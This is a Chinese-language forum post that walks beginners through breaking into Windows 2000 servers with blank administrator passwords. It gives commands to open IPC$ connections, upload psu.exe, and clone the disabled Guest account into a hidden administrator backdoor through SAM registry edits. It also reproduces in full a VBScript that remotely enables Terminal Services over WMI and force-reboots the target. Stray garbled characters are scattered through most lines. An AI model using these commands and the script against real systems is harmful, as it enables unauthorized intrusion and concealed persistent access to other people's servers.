|
一次简单的3389入侵过程
: Z$ [9 Q" R h2 Q原创:caozhe(草哲) $ m j/ k' W9 [& _4 }
来源:中国欲网技术论坛--草哲
- X' U/ W# U* k3 h " R/ D" A5 ^: N9 Q' |7 F
我在网上看到很多很多教你如何如何入侵之类的文章,我觉得对于菜鸟来说根本是看不懂的!0 Z w1 P7 ]% h* Z7 J
# f, R) K1 |1 m- M9 o; Y
于是呢,我冒出个想法!想写篇简单点的,适合菜鸟的文章!把我学到的跟大家说一下~!- r2 s: z- n; q: V" i8 g$ f4 X
要入侵,我建议你在win2000环境下来*作!2 F, B. x/ r7 T+ q. r
0 T! y0 a1 @& A! w首先,要入侵,你得有工具!我向大家推荐几款软件,也是我一直用的东西!1 W$ j; }* W% U. W
扫描的X-Scan V2.3、WINNTAutoAttack、流光!6 t* U# j& q+ i: l5 A0 {! b) T
X-Scan我最近很少用了,基本用的都是WINNTAutoAttack,当然,小榕的流光我也经常用!
. t# K3 k' Y3 U3 [远程开终端需要一个脚本就可以了,代码请看二楼!保存为*.vbe(我保存的是rots.vbe)# D; I% N6 B# ?! C
克隆帐户用个psu就可以了~!
& C8 r# x4 }5 E7 G! F! P5 ~3 u/ x! }( [& F9 ^
OK,比如扫描到了一个有NT弱口令的服务器,IP地址是120.0.0.1,管理员帐户是administrator,密码为空6 m; Q3 L4 Z* {* y5 d( T" ^
运行CMD(2000下的DOS),我们给它开终端!
( k5 x: }7 N7 N* H& q) G命令如下!- ?$ [7 y; k7 ?+ W6 l3 \8 b( @
cscript rots.vbe 120.0.0.1 administrator "" 3389 /fr( z: T; U) i; m
上面的命令应该可以理解吧?cscript rots.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为120.0.0.1这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以/r,这是普通重启)* V0 r( l* k; Z. @5 m/ Y
/ Y& J% D* K( D/ ~
因为终端服务器只在win2000 server以上的版本(包括server)才有,PRO当然是不行的,此版本可以检测服务器的版本,如果是PRO的则提示你退出安装!4 g: n& j% b3 ]
' b( Q' z7 T% @( ]* P9 i一切顺利,过会就可以连接到终端了,我们可以ping它,看是否重启,ping 120.0.0.1 -t
9 o/ q, k2 H W. x: E安装后用连接工具连接终端!现在我们克隆帐户,呵呵,为了给以后方便嘛!! d! |* i) D. v h# H
! i; `& o2 B& q0 }) e& h4 Z
回到DOS下!我们建立IPC$连接!
% R/ Q! c& T5 H' vnet use \\120.0.0.1\ipc$ "" /user:"administrator"
* _. l8 |* q4 A0 @$ k: O& J8 H( O这个命令我想应该可以理解吧!命令完成后,我们把psu上传到目标机的winnt\system32目录下!
6 K/ _1 C! M3 m! lcopy psu.exe \\120.0.0.1\admin$\system32 C: X8 \/ E# ]/ h: n
上传完毕后,开始在肉鸡做后门帐户!看肉鸡!
2 u1 ~, d3 J6 }2 ^- X6 W
) I1 S k' _* L9 y' G7 a n1 [假设guest用户被禁用,我们就是要利用guest做后门帐户!
# a- X+ z- ?7 ?' H在该服务器运行CMD,在命令行下输入: |* z! {% B( c# ]" E) I4 V* A1 L
psu -p regedit -i PID
1 ^$ A% m& G$ O0 i+ Y
6 x% ]; T1 e8 u. ?; B Q这里解释一下,后面的PID是系统进程winlogon的值,我们在任务栏下点鼠标右键,看任务管理器!
: |5 S: F4 q. Q. o看进程选项卡,找到winlogon的进程,后面的数值就是winlogon的pid值,假设是54582 a* J9 b1 O4 v- z+ p% F7 e" [7 r- @0 w
那么,命令就是这样1 o1 H: s/ o. w1 y+ C, m
psu -p regedit -i 5458
1 ^1 v7 s: K) o& ^6 r/ c这样直接打开注册表,可以读取本地sam的信息。
# D2 [4 l. \$ ^& T% D打开键值HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users0 Z( ?& s" X$ x, s& j' x2 b& ]
下面的就是本地的用户信息了!我们要做的是把禁用的guest克隆成管理员权限的帐户!# _% h7 U2 u; ?) W, [! v
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
3 q* N4 X2 x$ I* Q3 E# E6 [查看administrator的类型,是if4,再看guest的是if5/ ~4 e& S4 o) F1 e, _
好了,知道了类型后,打开. p# Q) g- W6 P. `' I. [- g4 T
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
4 V! I4 p$ a' U4 X% A! A这个值,双击右侧的F,把里面乱七八糟的字符复制下来,然后打开& m* |/ O# p8 ]/ S) H/ f
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
; l/ n$ J: C0 J% G* X9 n" C1 J7 j双击右侧的F,把刚复制的粘贴到里面!3 z4 p- ~6 Q m6 ] w
5 z n4 f, J" C. p- u0 W做好了以后,把HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5
' M+ _; Q. h* j @4 ]" E( ?和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\Guest
) N. ] R3 Y5 k* ?) U这两个键值导出,导出后把那两个键值删除!然后再导入进来!关闭注册表。 N/ ]8 x" W6 r5 ~2 O
' R& ^$ c' d+ W: X, P/ q打开CMD,在命令行下输入, `5 H7 i! V1 P9 k
net user guest password
- H7 {6 i& _& Y& t这条命令是给guest设置密码,后面的password就是密码$ v, B1 _% D$ p* g1 G( j/ o
然后输入) d* n: U7 N; `8 a7 S: o
net user guest /active:y! Y; O8 E7 K) V/ b) t6 ?; d
这命令是激活guest帐户,然后我们把他禁用
5 c& G& P$ V6 E0 M; u+ Enet user guest /active:n' r; s7 ?5 X2 A- A! p+ K
上面的三行命令必须在DOS下执行!0 \, _3 e6 m* r3 f+ m
' j7 M6 a2 b- }0 J$ b) x* L7 d: \
OK了,打开计算机管理,看用户,你们看,guest帐户还是被禁用的~!哈哈,但它已经拥有管理员权限了!# U5 u/ D& ~/ ^4 |' z/ {5 {% U r
而且并不在管理员组里显示,还可以登陆终端,跟administrator帐户一样的!0 V- G v& r! R
7 ?$ s$ Y1 ~6 K注销一下,用guest登陆吧!1 ]4 c6 h$ H' ^ H3 B/ e) i; W
0 e4 \0 o9 ~" q1 P" K) P打字都打累了~`!真不容易!呵呵~`希望上面的大家能看懂啊!* b( d5 Y# o9 g' _! k0 v3 p1 e
如果还有地方不明白的话,可以问我,我知道的一定告诉大家!" g. f7 d6 [/ }6 j0 C
; u& u! s; X) E& P' b2 o因为本人也是菜鸟级的,会了点东西就不知道怎么好了,呵呵~`!如果哪里有不对的,还请高手指点啊~!4 F6 k7 I5 O" W( ^1 f% F: r
7 n n. H4 [; P6 e/ S' h
----------------------------------------------------------------------! Z& t; F3 E3 A# g' \
以下是开终端的脚本,把它存为*.vbe/ g1 p2 Z% S& b- z+ M; C( g
on error resume next* Q7 q4 ?0 K+ ?( E, t' _/ c. I
set outstreem=wscript.stdout
7 r9 t+ _0 h; U* |$ p) e" a3 N) y q: ~set instreem=wscript.stdin9 L5 v: V$ K6 C
if (lcase(right(wscript.fullname,11))="wscript.exe") then
8 i# S% K4 Y2 ^% e$ r set objShell=wscript.createObject("wscript.shell")% B |, `7 I- I7 @% Y4 Y
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
; K; `3 T1 O# c/ ] wscript.quit
5 v) g. F& a2 w/ ?/ f( v. u. r2 ^6 aend if! {% e- o8 @- o7 B* P, V
if wscript.arguments.count<3 then3 R2 { x: d! L+ O( i: f! f1 }6 W
usage()
' R3 s! ], L) p% o$ ~. Z wscript.echo "Not enough parameters."
( d7 z' A! U+ x. k$ O wscript.quit2 d' _+ c0 h4 Z+ B
end if7 ^4 g( z3 r j$ _3 |) q: W z/ X
5 G0 l: X8 k" n# U0 u7 j9 m
ipaddress=wscript.arguments(0)
9 [# x! `" t7 b' S, p5 Kusername=wscript.arguments(1)
: V, G; U) d# l6 V5 Ppassword=wscript.arguments(2)
( T6 b+ q( d% M' }# M# P. qif wscript.arguments.count>3 then; m3 Y7 v2 q3 @5 {# D
port=wscript.arguments(3)
, u5 w- i. J% c7 f0 Y! j& p: E% }else
6 D! w3 K h5 `+ w9 f; ~ port=3389) a$ l. T: K- z" J# T. d5 I
end if+ J$ w0 l# ]3 J3 S5 x/ T' z
if not isnumeric(port) or port<1 or port>65000 then
, X& U, `$ ]6 y2 L& V2 \7 m wscript.echo "The number of port is error."4 x. P) [. y# c
wscript.quit
h* _; F: [$ Y2 aend if5 ~% R6 v- S2 d5 |6 `( U+ w
if wscript.arguments.count>4 then( l% y6 {1 o/ V% c
reboot=wscript.arguments(4); R; O* I" h3 o+ \
else
' D. S9 {/ R& U3 H' ~ reboot=""
6 O" w: a% ^$ q& S/ P( m9 Oend if4 D' Q, H: R) D/ c `( Z
: A. l' V, T0 J( L" F9 wusage()
2 c) [4 W g, L& [, i" ^3 D# }outstreem.write "Conneting "&ipaddress&" ...."
$ A+ N8 O9 d, H& x4 wset objlocator=createobject("wbemscripting.swbemlocator")
& X# y( C" x. c! A, wset objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)* T2 t1 x. Y4 J6 R; z$ x- W
showerror(err.number)
/ ^4 M3 L9 k$ [8 B2 n# Y: [1 P. Fobjswbemservices.security_.privileges.add 23,true
4 N% x/ v& K7 t2 a* x. g" k! Q- Xobjswbemservices.security_.privileges.add 18,true2 u6 z2 ^+ J" }$ w! m" S6 k
5 e+ r6 L0 l0 r. _! j
outstreem.write "Checking OS type...."0 O c7 b: A3 ^5 B( e
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")6 o9 ?0 `: ]3 t$ i" g0 ^" r1 p
for each objinstoscaption in colinstoscaption
$ U, I/ z) i: e6 a- n if instr(objinstoscaption.caption,"Server")>0 then
' V5 y9 w$ ^! r5 ?- J1 q wscript.echo "OK!"
+ \' [+ w z$ j2 Y$ X else9 G. H3 {3 f9 t3 I( t
wscript.echo "OS type is "&objinstoscaption.caption
' C! I) X- p5 S outstreem.write "Do you want to cancel setup?[y/n]"
* ^+ S2 e. E* T7 H# O% u. b3 r strcancel=instreem.readline% R( X& j1 E8 a1 P
if lcase(strcancel)<>"n" then wscript.quit
Z% p7 ~. z) w3 w6 @* y% c end if: Y( h* K6 p3 ?$ U/ w' T" F/ L$ e# @
next
2 D, ~2 l. }! J6 e
: x. a$ U1 E2 q" {6 F3 B. E* Youtstreem.write "Writing into registry ...."/ E5 _& A) F2 l, H
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")$ z! M' Z3 [: X
HKLM=&h80000002' G Y' r0 U0 a
HKU=&h80000003$ S' M9 D2 S4 B Y. d
with objinstreg8 H2 e' h$ J, w4 i
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"# {8 S T& p* d3 q b: \
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",04 y" e( J8 N. _6 D! Y7 k5 E
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
8 p$ J! m5 U: k6 s, N1 }' s.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1' m* o/ k8 x, @. I2 Y/ N
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
2 B& V' W' s# R; k0 U! R+ r.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
/ ]7 y0 S: T7 n.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2/ H: g* K8 k( b8 e! w! B% v
.setstringvalue HKU,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"5 z% N! C7 Y7 b3 P; k8 l: D
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port6 P8 k7 L6 ]. D. M) n/ o
end with
1 O. U) |" C* t5 ^: X7 ^showerror(err.number)5 \$ G& `3 b* ?3 [6 M. V f% S
8 j0 u8 h0 f: ~& ?) Jrebt=lcase(reboot)
, L3 l. N$ z& a5 ~ [; Lflag=03 K' e% t+ c- c! Q
if rebt="/r" or rebt="-r" or rebt="\r" then flag=2
" P5 _9 _ ]6 M% l' fif rebt="/fr" or rebt="-fr" or rebt="\fr" then flag=6- x% J. d, l) ~0 G! ~4 V1 ?; E
if flag<>0 then
7 ]7 H9 u8 @: f3 [, {7 l, p outstreem.write "Now, reboot target...."
% |# ]) K, _! |+ K( d _: x6 ? strwqlquery="select * from win32_operatingsystem where primary='true'"
; }. @6 g& Y2 L% r& s set colinstances=objswbemservices.execquery(strwqlquery)/ |2 v* z% S+ l
for each objinstance in colinstances4 t2 M* `# @7 g
objinstance.win32shutdown(flag)' M+ K B' w" \; N5 I* t
next/ h* A2 C$ u; E/ q5 G
showerror(err.number)6 R& ^! `9 T" t) a
else J! M+ ]# U, w
wscript.echo "You need to reboot target."&vbcrlf&"Then,"
3 \) A" d5 ~- C6 b' pend if, }( ?$ w6 N, g$ w
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"0 |+ ?( f: a) l+ r# @$ ]
- }; ~6 j- `/ n2 T; |4 n: A
function showerror(errornumber)& k6 t& t# @" j+ f
if errornumber Then
- I/ t# ]4 J8 x& M wscript.echo "Error 0x"&cstr(hex(err.number))&" .": A8 W+ T) W- o3 w6 ~$ e
if err.description <> "" then
% t7 d! {. S6 F! F% _% U wscript.echo "Error description: "&err.description&"."+ V2 F. w5 \/ V: X/ x/ [/ m
end if
- D* p0 R$ g9 O/ R wscript.quit
2 W2 a6 A* |/ c# W4 s8 Q! F [- lelse. p9 q% p" t/ D2 g3 ^
wscript.echo "OK!"& q5 S+ t( ^; ^( j( k
end if+ [# Y% Q' W! C$ T
end function
2 X6 f! M' v/ L' J. }; }* k
& P- R- b0 w- P( R: I5 w7 x- Bfunction usage()! o' U# C/ a5 f& F1 k+ m6 x
wscript.echo string(79,"*")
0 y" F. H* f% a8 [$ j5 pwscript.echo "ROTS v1.05"
8 x2 U# M7 ~+ T: ^* k9 Twscript.echo "Remote Open Terminal services Script, by 草哲"7 {- B& \' t* j% x; X) D
wscript.echo "Welcome to visite www.5458.net"* N0 ]! @% q( v
wscript.echo "Usage:"
/ D8 X9 C7 l- H" |wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r|/fr]"
* F o/ o5 }& v5 W; Uwscript.echo "port: default number is 3389."
3 [+ O# g: t: V* r. Wwscript.echo "/r: auto reboot target."0 U% L1 k) U+ G$ b
wscript.echo "/fr: auto force reboot target."
}; V7 V# b. B6 i( Fwscript.echo string(79,"*")&vbcrlf
: k$ ~7 g! ]+ s! x$ K7 tend function/ u0 U) |3 ~- X8 U5 S4 l$ ]
3 c3 [; d4 G" }" [
转自安全焦点 |
|